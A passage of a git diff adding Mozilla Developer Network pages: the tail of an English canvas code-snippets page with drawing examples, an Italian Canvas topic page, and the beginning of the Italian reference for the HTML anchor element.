+<p>The <code>beginPath</code> function starts a new path, and <code>moveTo</code>, <code>lineTo</code>, <code>arcTo</code>, <code>arc</code>, and similar methods are used to add segments to the path. The path can be closed using <code>closePath</code>. Once a path is created, you can use <code>fill</code> or <code>stroke</code> to render the path to the canvas.</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "red";
+
+  ctx.beginPath();
+  ctx.moveTo(30, 30);
+  ctx.lineTo(150, 150);
+  // was: ctx.quadraticCurveTo(60, 70, 70, 150); which is wrong.
+  ctx.bezierCurveTo(60, 70, 60, 70, 70, 150); // &lt;- this is right formula for the image on the right -&gt;
+  ctx.lineTo(30, 30);
+  ctx.fill();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="160" height="160"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('Using_Paths','190','190','/@api/deki/files/603/=Canvas_ex2.png')}}</p>
+<p>Calling <code>fill()</code> or <code>stroke()</code> causes the current path to be used. To be filled or stroked again, the path must be recreated.</p>
+<h3 id="Graphics_State" name="Graphics_State">Graphics State</h3>
+<p>Attributes of the context such as <code>fillStyle</code>, <code>strokeStyle</code>, <code>lineWidth</code>, and <code>lineJoin</code> are part of the current <em>graphics state</em>. The context provides two methods, <code>save()</code> and <code>restore()</code>, that can be used to move the current state to and from the state stack.</p>
+<h3 id="A_More_Complicated_Example" name="A_More_Complicated_Example">A More Complicated Example</h3>
+<p>Here's a little more complicated example, that uses paths, state, and also introduces the current transformation matrix. The context methods <code>translate()</code>, <code>scale()</code>, and <code>rotate()</code> all transform the current matrix. All rendered points are first transformed by this matrix.</p>
+<pre class="brush: js">function drawBowtie(ctx, fillStyle) {
+
+  ctx.fillStyle = "rgba(200,200,200,0.3)";
+  ctx.fillRect(-30, -30, 60, 60);
+
+  ctx.fillStyle = fillStyle;
+  ctx.globalAlpha = 1.0;
+  ctx.beginPath();
+  ctx.moveTo(25, 25);
+  ctx.lineTo(-25, -25);
+  ctx.lineTo(25, -25);
+  ctx.lineTo(-25, 25);
+  ctx.closePath();
+  ctx.fill();
+}
+
+function dot(ctx) {
+  ctx.save();
+  ctx.fillStyle = "black";
+  ctx.fillRect(-2, -2, 4, 4);
+  ctx.restore();
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // note that all other translates are relative to this one
+  ctx.translate(45, 45);
+
+  ctx.save();
+  //ctx.translate(0, 0); // unnecessary
+  drawBowtie(ctx, "red");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 0);
+  ctx.rotate(45 * Math.PI / 180);
+  drawBowtie(ctx, "green");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(0, 85);
+  ctx.rotate(135 * Math.PI / 180);
+  drawBowtie(ctx, "blue");
+  dot(ctx);
+  ctx.restore();
+
+  ctx.save();
+  ctx.translate(85, 85);
+  ctx.rotate(90 * Math.PI / 180);
+  drawBowtie(ctx, "yellow");
+  dot(ctx);
+  ctx.restore();
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="185" height="185"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_More_Complicated_Example','215','215','/@api/deki/files/604/=Canvas_ex3.png')}}</p>
+<p>This defines two methods, <code>drawBowtie</code> and <code>dot</code>, that are called 4 times. Before each call, <code>translate()</code> and <code>rotate()</code> are used to set up the current transformation matrix, which in turn positions the dot and the bowtie. <code>dot</code> renders a small black square centered at <code>(0, 0)</code>. That dot is moved around by the transformation matrix. <code>drawBowtie</code> renders a simple bowtie path using the passed-in fill style.</p>
+<p>As matrix operations are cumulative, <code>save()</code> and <code>restore()</code> are used around each set of calls to restore the original canvas state. One thing to watch out for is that rotation always occurs around the current origin; thus a <code>translate() rotate() translate()</code> sequence will yield different results than a <code>translate() translate() rotate()</code> series of calls.</p>
+<h2 id="Compatibility_With_Apple_.3Ccanvas.3E" name="Compatibility_With_Apple_.3Ccanvas.3E">Compatibility With Apple &lt;canvas&gt;</h2>
+<p>For the most part, <code>&lt;canvas&gt;</code> is compatible with Apple's and other implementations. There are, however, a few issues to be aware of, described here.</p>
+<h3 id="Required_.3C.2Fcanvas.3E_tag" name="Required_.3C.2Fcanvas.3E_tag">Required <code>&lt;/canvas&gt;</code> tag</h3>
+<p>In the Apple Safari implementation, <code>&lt;canvas&gt;</code> is an element implemented in much the same way <code>&lt;img&gt;</code> is; it does not have an end tag. However, for <code>&lt;canvas&gt;</code> to have widespread use on the web, some facility for fallback content must be provided. Therefore, Mozilla's implementation has a <em>required</em> end tag.</p>
+<p>If fallback content is not needed, a simple <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> will be fully compatible with both Safari and Mozilla -- Safari will simply ignore the end tag.</p>
+<p>If fallback content is desired, some CSS tricks must be employed to mask the fallback content from Safari (which should render just the canvas), and also to mask the CSS tricks themselves from IE (which should render the fallback content).</p>
+<pre>canvas {
+  font-size: 0.00001px !ie;
+}</pre>
+<h2 id="Additional_Features" name="Additional_Features">Additional Features</h2>
+<h3 id="Rendering_Web_Content_Into_A_Canvas" name="Rendering_Web_Content_Into_A_Canvas">Rendering Web Content Into A Canvas</h3>
+<div class="note">
+ This feature is only available for code running with Chrome privileges. It is not allowed in normal HTML pages. <a href="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352" title="http://mxr.mozilla.org/mozilla/source/content/canvas/src/nsCanvasRenderingContext2D.cpp#2352">Read why</a>.</div>
+<p>Mozilla's <code>canvas</code> is extended with the <a href="/en-US/docs/DOM/CanvasRenderingContext2D#drawWindow()" title="DOM/CanvasRenderingContext2D#drawWindow()"><code>drawWindow()</code></a> method. This method draws a snapshot of the contents of a DOM <code>window</code> into the canvas. For example,</p>
+<pre class="brush: js">ctx.drawWindow(window, 0, 0, 100, 200, "rgb(255,255,255)");
+</pre>
+<p>would draw the contents of the current window, in the rectangle (0,0,100,200) in pixels relative to the top-left of the viewport, on a white background, into the canvas. By specifying "rgba(255,255,255,0)" as the color, the contents would be drawn with a transparent background (which would be slower).</p>
+<p>It is usually a bad idea to use any background other than pure white "rgb(255,255,255)" or transparent, as this is what all browsers do, and many websites expect that transparent parts of their interface will be drawn on white background.</p>
+<p>With this method, it is possible to fill a hidden IFRAME with arbitrary content (e.g., CSS-styled HTML text, or SVG) and draw it into a canvas. It will be scaled, rotated and so on according to the current transformation.</p>
+<p>Ted Mielczarek's <a href="http://ted.mielczarek.org/code/mozilla/tabpreview/">tab preview</a> extension uses this technique in chrome to provide thumbnails of web pages, and the source is available for reference.</p>
+<div class="note">
+ <strong>Note:</strong> Using <code>canvas.drawWindow()</code> while handling a document's <code>onload</code> event doesn't work. In Firefox 3.5 or later, you can do this in a handler for the <a href="/en-US/docs/Gecko-Specific_DOM_Events#MozAfterPaint" title="Gecko-Specific DOM Events#MozAfterPaint"><code>MozAfterPaint</code></a> event to successfully draw HTML content into a canvas on page load.</div>
+<h2 id="See_also" name="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas">Canvas topic page</a></li>
+ <li><a href="/en-US/docs/Canvas_tutorial" title="Canvas_tutorial">Canvas tutorial</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">WHATWG specification</a></li>
+ <li><a href="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html" title="http://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/Canvas.html">Apple Canvas Documentation</a></li>
+ <li><a href="http://weblogs.mozillazine.org/roc/archives/2005/05/rendering_web_p.html">Rendering Web Page Thumbnails</a></li>
+ <li>Some <a href="/en-US/docs/tag/canvas_examples">examples</a>:
+  <ul>
+   <li><a href="http://azarask.in/projects/algorithm-ink">Algorithm Ink</a></li>
+   <li><a href="http://www.tapper-ware.net/canvas3d/">OBJ format 3D Renderer</a></li>
+   <li><a href="/en-US/docs/A_Basic_RayCaster" title="A_Basic_RayCaster">A Basic RayCaster</a></li>
+   <li><a href="http://awordlike.textdriven.com/">The Lightweight Visual Thesaurus</a></li>
+   <li><a href="http://caimansys.com/painter/">Canvas Painter</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/tag/canvas">And more...</a></li>
+</ul>
diff --git a/files/it/web/html/canvas/index.html b/files/it/web/html/canvas/index.html
new file mode 100644
index 0000000000..dcded63973
--- /dev/null
+++ b/files/it/web/html/canvas/index.html
@@ -0,0 +1,73 @@
+---
+title: Canvas
+slug: Web/HTML/Canvas
+translation_of: Web/API/Canvas_API
+---
+<p>Aggiunto con <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5" title="/en-US/docs/HTML/HTML5">HTML5</a>, <strong>HTML {{ HTMLElement("canvas") }}</strong> è un elemento che può essere usato per disegnare elementi grafici tramite script (di solito <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>). Per esempio, può essere usato per disegnare grafici, creare composizioni fotografiche, creare animazioni e perfino realizzare elvaborazioni video in tempo reale.</p>
+
+<p>Le applicazioni Mozilla supportano <code>&lt;canvas&gt;</code> a partire da Gecko 1.8 (cioè <a href="/en-US/docs/Firefox_1.5_for_developers" title="en-US/docs/Firefox_1.5_for_developers">Firefox 1.5</a>). L'elemento è stato originariamente introdotto da Apple per OS X <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Dashboard</a> e Safari. Internet Explorer supporta <code>&lt;canvas&gt;</code> dalla versione 9; per versioni precedenti di IE, una pagina può aggiungere il supporto per <code>&lt;canvas&gt;</code> includendo lo script del progetto <a class="external" href="http://excanvas.sourceforge.net/">Explorer Canvas</a> di Google. Anche Google Chrome e Opera 9 supportano <code>&lt;canvas&gt;</code>.</p>
+
+<p>L'elemento <code>&lt;canvas&gt;</code> è utilizzato anche da <a href="/en-US/docs/WebGL" title="en-US/docs/WebGL">WebGL</a> per la grafica 3D con accellerazione hardware nelle pagine web.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentazione</h2>
+
+    <dl>
+     <dt><a class="external" href="https://html.spec.whatwg.org/multipage/canvas.html" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html#the-canvas-element">Specifiche</a></dt>
+     <dd>L'elemento <code>&lt;canvas&gt;</code> è parte delle specifiche 1.0 della WhatWG per le applicazioni  Web, anche conosciute come HTML5.</dd>
+     <dt><a href="/en-US/docs/Canvas_tutorial" title="en-US/docs/Canvas_tutorial">Esecitazione sui canvas</a></dt>
+     <dd>Un'esercitazione completa che copre sia l'utilizzo base  che le caratteristiche avanzate di <code>&lt;canvas&gt;</code>.</dd>
+     <dt><a href="/en-US/docs/Code_snippets/Canvas" title="en-US/docs/Code_snippets/Canvas">Frammenti di codice: Canvas</a></dt>
+     <dd>Qualche frammento di codice per gli sviluppatori di estensioni che coinvolge <code>&lt;canvas&gt;</code>.</dd>
+     <dt><a href="/en-US/docs/tag/Canvas_examples" title="/en-US/docs/tag/Canvas_examples">Esempi di canvas</a></dt>
+     <dd>Alcune dimostraioni sui <code>&lt;canvas&gt;</code>.</dd>
+     <dt><a href="/en-US/docs/HTML/Canvas/Drawing_DOM_objects_into_a_canvas" title="en-US/docs/HTML/Canvas/Drawing DOM objects into a canvas">Disegnare oggetti DOM in un canvas</a></dt>
+     <dd>Come disegnare contenuto DOM, come elementi HTML, in un canvas.</dd>
+     <dt><a href="/en-US/docs/A_Basic_RayCaster" title="A Basic RayCaster">Un semplice raycaster</a></dt>
+     <dd>Una demo di animazione ray-tracing utilizzando il canvas.</dd>
+     <dt><a href="/en-US/docs/Gecko_DOM_Reference#Canvas_interfaces" title="/en-US/docs/Gecko_DOM_Reference#Canvas_interfaces">Interfacce dei Canvas nel DOM</a></dt>
+     <dd>Interfacce dei Canvas nel DOM implementate in Gecko.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="/en-US/docs/tag/HTML:Canvas" title="/en-US/docs/tag/HTML:Canvas">Vedi tutto...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Community" id="Comunità">Comunità</h2>
+
+    <p>Guarda i forum di Mozilla...{{DiscussionList("dev-tech-html","mozilla.dev.tech.html")}}<br>
+     <a class="external" href="http://groups.yahoo.com/group/canvas-developers/">Canvas-Developers Yahoo Group</a></p>
+
+    <h2 class="Resources" id="Resources" name="Resources">Risorse</h2>
+
+    <ul>
+     <li><a class="external" href="http://projects.joshy.org/presentations/HTML/CanvasDeepDive/presentation.html" title="http://projects.joshy.org/presentations/HTML/CanvasDeepDive/presentation.html">Approfondimento HTML5 Canvas</a></li>
+     <li><a class="external" href="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html" title="http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html">Cheat Sheet per Canvas</a> (<a href="http://www.nihilogic.dk/labs/canvas_sheet/HTML5_Canvas_Cheat_Sheet.png" title="HTML5_Canvas_Cheat_Sheet.png (1388×1027)">PNG</a> / <a href="http://www.nihilogic.dk/labs/canvas_sheet/HTML5_Canvas_Cheat_Sheet.pdf" title="http://www.nihilogic.dk/labs/canvas_sheet/HTML5_Canvas_Cheat_Sheet.pdf">PDF</a>)</li>
+    </ul>
+
+    <h2 class="Libraries" id="Libraries" name="Libraries">Librerie</h2>
+
+    <ul>
+     <li><a class="external" href="http://libcanvas.github.com/" title="http://libcanvas.github.com/">libCanvas</a> è un potente e leggero framework per canvas</li>
+     <li><a class="external" href="http://processingjs.org" title="http://processingjs.org/">Processing.js</a> implementzione del linguaggio di visualizzazione Processing</li>
+     <li><a class="external" href="http://easeljs.com/" title="http://easeljs.com/">EaselJS</a> è una libreria con un'API simile a Flash</li>
+     <li><a class="external" href="http://www.liquidx.net/plotkit/" title="http://www.liquidx.net/plotkit/">PlotKit</a> è una libreria per la creazione di grafici e diagrammi</li>
+     <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi" title="https://github.com/jeremyckahn/rekapi">Rekapi</a> è un'API per le animazioni Canvas basata sui keyframe</li>
+     <li><a class="external" href="http://senchalabs.github.com/philogl/" title="http://senchalabs.github.com/philogl/">PhiloGL</a> è un framework WebGL per la visualizzazione di dati, programmazione creativa e lo sviluppo di giochi.</li>
+     <li><a class="external" href="http://thejit.org/" title="http://thejit.org/">JavaScript InfoVis Toolkit</a> crea visualizzazioni di dati interattive per il Web con Canvas 2D</li>
+     <li><a href="http://www.frame-engine.com" title="http://www.frame-engine.com">Frame-Engine</a> è un framework per lo sviluppo di applicazioni e giochi</li>
+    </ul>
+
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">ARGOMENTI CORRELATI</h2>
+
+    <ul>
+     <li><a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a>, <a href="/en-US/docs/SVG" title="en-US/docs/SVG">SVG</a>, <a href="/en-US/docs/WebGL" title="en-US/docs/WebGL">WebGL</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{ HTML5ArticleTOC() }}</div>
diff --git a/files/it/web/html/element/a/index.html b/files/it/web/html/element/a/index.html
new file mode 100644
index 0000000000..c47883b767
--- /dev/null
+++ b/files/it/web/html/element/a/index.html
@@ -0,0 +1,457 @@
+---
+title: <a>
+slug: Web/HTML/Element/a
+tags:
+  - Ancora
+  - Collegamento
+  - Elemento
+  - HTML
+  - Link
+  - Web
+translation_of: Web/HTML/Element/a
+---
+<h2 id="Sommario">Sommario</h2>
+
+<p>L' <em>elemento</em> <em>HTML <code>&lt;a&gt;</code> </em>(o l' elemento Ancora HTML) definisce un collegamento ipertestuale, il nome dell' obbiettivo di destinazione per un collegamento ipertestuale, o entrambi.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Aree tematiche</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">Contenuti del flusso</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content categories#Phrasing content">contenuto delle espressioni</a>, contenuto interattivo, contenuto tangibile.</li>
+ <li><dfn>Contenuto consentito</dfn> <a href="/en-US/docs/HTML/Content_categories#Transparent_content_model" title="HTML/Content_categories#Transparent_content_model">Trasparente</a>, contenente sia <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">contenuti del flusso</a> sia <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto delle espressioni</a>.</li>
+ <li><dfn>Omissione Tag</dfn>Nessuno, sia il tag di apertura, sia quello di chiusura sono obbligatori.</li>
+ <li><dfn>Elementi padre consentiti</dfn> qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenuto delle espressioni</a>, o qualsiasi elemento che accetta <a href="/en-US/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">contenuto del flusso</a>.</li>
+ <li><dfn>Interfaccia DOM</dfn> {{domxref("HTMLAnchorElement")}}</li>
+</ul>
+
+<h2 id="Attributi">Attributi</h2>
+
+<p><span style="line-height: 21px;">Questo elemento include gli </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">attributi globali</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Questi attributi definiscono la codifica dei caratteri della risorsa linkata. Il valore è una lista di caratteri delimitata da spazi- e/o virgole - fissa come definito in <a class="external" href="http://tools.ietf.org/html/rfc2045" title="http://tools.ietf.org/html/rfc2045">RFC 2045</a>. Il valore di default è ISO-8859-1.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota: </strong>Questo attributo è obsoleto in HTML5 e <strong>non dovrebbe essere usato</strong>. Per ottenere un effetto simile, usare l'header HTTP <code>Content-Type</code> sulla risorsa linkata.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("coords")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Per l' uso con le forme degli oggetti, questo attibuto usa una lista di numeri separata da virgole per definire le coordinate dell'oggetto nella pagina. Il valore di questo attributo dipende dal valore dell'attributo {{htmlattrxref("shape", "a")}}.</dd>
+ <dd>
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">
+     <p>Valore dell'attributo {{htmlattrxref("shape", "a")}}</p>
+    </th>
+    <th scope="col">Formato delle coordinate</th>
+    <th scope="col">Significato</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>circle</code></td>
+    <td>
+     <p><code>x,y,z</code> </p>
+    </td>
+    <td>
+     <ul>
+      <li><code>x</code> e <code>y</code> indicano le coordinate (in pixel) del centro della circonferenza;</li>
+      <li><code>z</code> indica la lunghezza del raggio.</li>
+     </ul>
+    </td>
+   </tr>
+   <tr>
+    <td><code>rect</code></td>
+    <td><code>x,y,w,h</code></td>
+    <td>
+     <ul>
+      <li><code>x</code> e <code>y</code> indicano le coordinate dell'angolo superiore sinistro del rettangolo;</li>
+      <li><code>w</code> e<code> h</code> indicano rispettivamente la larghezza e l'altezza del rettangolo.</li>
+     </ul>
+    </td>
+   </tr>
+   <tr>
+    <td><code>polygon</code></td>
+    <td><code>x1,y1,x2,y2,...</code></td>
+    <td>
+     <ul>
+      <li>Ogni coppia di coordinate <code>x,y</code> definisce un punto del poligono; due punti consecutivi (o l'ultimo e il primo) vengono uniti da una linea.</li>
+     </ul>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{htmlattrdef("datafld")}} {{Non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Questo attributo specifica il</span> <span class="hps">nome della colonna</span> <span class="hps">di tale oggetto</span> <span class="hps">origine dati che</span> <span class="hps">fornisce i</span> <span class="hps">dati associati.</span></span></dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong></p>
+
+ <ul>
+  <li>Questo attributo è non-standard and <strong>non dovrebbe essere usato</strong>. Per ottenere un effetto simile, utilizzare un meccanismo come <code><a href="/en-US/docs/nsIXMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> per popolare dinamicamente la pagina.</li>
+  <li>Questo attributo è implementato solo in Internet Explorer 4, 5, 6 e 7. (<a class="external" href="http://msdn.microsoft.com/en-us/library/ms533703%28VS.85%29.aspx">Microsoft's Data Binding: dataFld Property (MSDN)</a>)</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("datasrc")}} {{Non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Questo attributo indica</span> <span class="hps">l'ID</span> <span class="hps">oggetto origine dei dati</span> <span class="hps">che fornisce</span> <span class="hps">i dati e che</span> <span class="hps">è legato</span> <span class="hps">a questo elemento</span><span>.</span></span></dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong></p>
+
+ <ul>
+  <li>Questo attributo è non-standard and <strong>non dovrebbe essere usato</strong>. Per ottenere un effetto simile, utilizzare un meccanismo come <code><a href="/en-US/docs/nsIXMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> per popolare dinamicamente la pagina.</li>
+  <li>Questo attributo è implementato solo in Internet Explorer 4, 5, 6 e 7. (<a class="external" href="http://msdn.microsoft.com/en-us/library/ms533709(VS.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms533709(VS.85).aspx">Microsoft's Data Binding: dataSrc Property (MSDN)</a>)</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("download")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Questo attributo, se presente, indica che l' autore intende che il collegamento ipertestuale debba essere usato per scaricare una risorsa. Se l' attributo ha un valore, il browser dovrebbe interpretarlo come il nome del file da salvare in un file system locale. Non ci sono restrizioni sui valori consentiti, ma dovresti considerare che la maggior parte dei file system hanno delle limitazioni per quanto riguarda quale punteggiatura è supportata nei nomi del file, ed i browser sono predisposti ad aggiustare il nome del file di conseguenza.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong></p>
+
+ <ul>
+  <li>Può essere usato con URL <code><a href="it/docs/Web/API/URL.createObjectURL">blob:</a></code> e <code>data:</code>, così da poter scaricare contenuti generati usando JavaScript (ad esempio un'immagine creata in un applicazione di disegno).</li>
+  <li>Se è presente l'header HTTP <code>Content-Disposition</code> e propone un diverso nome per il file, l'header ha la priorità su questo attributo.</li>
+  <li>Se l'header HTTP <code>Content-Disposition</code> ha valore <code>inline</code>, in Firefox l'header ha la precedenza, mentre in Chrome l'attributo <code>download</code>.</li>
+  <li>In <a href="/en-US/docs/Firefox_20_for_developers" title="/en-US/docs/Firefox_20_for_developers">Firefox 20</a> questo attributo è rispettato solo per link a risorse provenienti dalla stessa origine.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Questo è</span> <span class="hps">l'unico attributo</span> <span class="hps">richiesto per</span> <span class="hps">ancore</span> <span class="hps">che definiscono</span><span class="hps"> un collegamento</span> <span class="hps">ipertestuale</span><span>.</span></span> Esso indica il link obbiettivo, sia esso un URL o un frammento di URL. Un frammento di URL è un nome (un {{htmlattrxref("id")}}) preceduto da un cancelletto (#), che specifica la posizione dell'obbiettivo nel documento corrente. Gli URL non sono limitati ai documenti web basati sul protocollo HTTP: possono essere usati con altri protocolli supportati dal browser, come <code>file</code>, <code>ftp</code>, e <code>mailto</code>.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong> Puoi usare il frammento apposito "top" per creare un collegamento per tornare in cima alla pagina; ad esempio <code>&lt;a href="#top"&gt;Torna all'inizio&lt;/a&gt;</code>. Questo comportamento <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#scroll-to-fragid">è specificato in HTML5</a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("hreflang")}}</dt>
+ <dd>Questo attributo indica la lingua della risorsa linkata. È puramente informativo. I valori permessi sono determinati dallo standard <a class="external" href="http://www.ietf.org/rfc/bcp/bcp47.txt" title="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP47</a> per l'HTML5 e dallo standard <a class="external" href="http://www.ietf.org/rfc/rfc1766.txt" title="http://www.ietf.org/rfc/rfc1766.txt">RFC1766</a> per l'HTML4. Usa questo attributo solo se è presente anche l' attributo {{htmlattrxref("href", "a")}}.</dd>
+ <dt>{{htmlattrdef("media")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Questo attributo specifica in quali dispositivi utilizzare il link. Il suo valore deve essere una <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a>. Questo attributo è utile principalmente quando vi è un collegamento ad un foglio di stile esterno che consente allo user agent di scegliere il più adatto per il dispositivo in uso.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong></p>
+
+ <ul>
+  <li>In HTML 4 sono accettate solo descrizioni letterali (separate da uno spazio) del supporto, vale a dire <a href="/en-US/docs/CSS/@media" title="https://developer.mozilla.org/en-US/docs/CSS/@media">media types and groups</a>: <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>, ... HTML 5 estende questo ad ogni tipo di <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a>, ossia un'estensione dei valori consentiti in HTML 4.</li>
+  <li><span id="result_box" lang="it"><span class="hps">I browser</span> <span class="hps">che non supportano</span> le <a href="/it/docs/CSS/Media_queries">Media Queries CSS3</a> potrebbero <span class="hps">non</span> <span class="hps">riconoscere il collegamento</span> <span class="hps">adeguato;</span> <span class="hps">non dimenticare di</span> <span class="hps">impostare collegamenti</span> <span class="hps">alternativi, usando</span> <span class="hps">l'insieme</span> <span class="hps">ristretto di</span> <span class="hps">media queries</span> <span class="hps">definite</span> <span class="hps">in HTML 4</span><span>.</span></span></li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("methods")}} {{Non-standard_inline}}</dt>
+ <dd><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">valore di questo attributo</span> <span class="hps">fornisce</span> <span class="hps">informazioni sulle</span> <span class="hps">funzioni</span> <span class="hps">che possono</span> <span class="hps">essere</span> <span class="hps">eseguite su</span> <span class="hps">un oggetto</span><span>.</span> <span class="hps">I</span> <span class="hps">valori generalmente</span> <span class="hps">sono dati</span> <span class="hps">dal protocollo</span> <span class="hps">HTTP</span> <span class="hps">quando viene</span> <span class="hps">utilizzato</span><span>,</span> <span class="hps">ma potrebbe</span> <span class="atn hps">(</span><span>per</span> <span class="hps">ragioni simili a quelle</span> <span class="hps">per</span> <span class="hps">l'attributo</span> <span class="hps">title</span><span>)</span> <span class="hps">essere utile includere</span> <span class="hps">informazioni</span> <span class="hps">consultive </span><span class="hps">in anticipo</span> <span class="hps">nel collegamento</span><span>.</span> <span class="hps">Ad esempio</span><span>, il browser</span> <span class="hps">potrebbe scegliere</span> <span class="hps">un rendering</span> <span class="hps">diverso di</span> <span class="hps">un collegamento</span> <span class="hps">in funzione</span> <span class="hps">dei</span> <span class="hps">metodi specificati</span><span>, qualcosa che</span> <span class="hps">è</span> ricercabile <span class="hps">potrebbe avere</span> <span class="hps">un'icona diversa</span><span>,</span> <span class="hps">o</span> <span class="hps">un link esterno</span> <span class="hps">potrebbe essere intrerpretato </span><span class="hps">con l'indicazione</span> <span class="hps">di lasciare il</span> <span class="hps">sito corrente</span><span>.</span> <span class="hps">Questo attributo</span> <span class="hps">non è ben compreso</span> o <span class="hps">supportato neanche</span> <span class="hps">dal browser</span> che lo ha definito<span>,</span> <span class="hps">Internet Explorer 4</span><span>.</span> </span> <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534168(VS.85).aspx">Methods Property (MSDN)</a></dd>
+ <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline","HTML5")}}</dt>
+ <dd>Questo attributo è richiesto in un ancora che definisce una destinazione all'interno di una pagina. Il valore per il <strong>name</strong> è simile al valore per l' attributo <strong>id</strong> e deve essere un identificatore alfanumerico e univoco nel documento. Secondo la specifica specifiche HTML 4.01, l' <strong>id</strong> e il <strong>name</strong> possono entrambi essere applicati all'elemento &lt;a&gt;, finchè hanno lo stesso valore.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Nota:</strong> Questo attributo è obsoleto in HTML5, usare l'<a href="/en-US/docs/HTML/Global_attributes#attr-id" title="HTML/Global attributes#id"> attributo globale <strong>id</strong></a>.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("ping")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Se questo attributo è presente, viene mandata una notifica all'URL specificato quando l'utente segue il link.</dd>
+ <dt>{{htmlattrdef("rel")}}</dt>
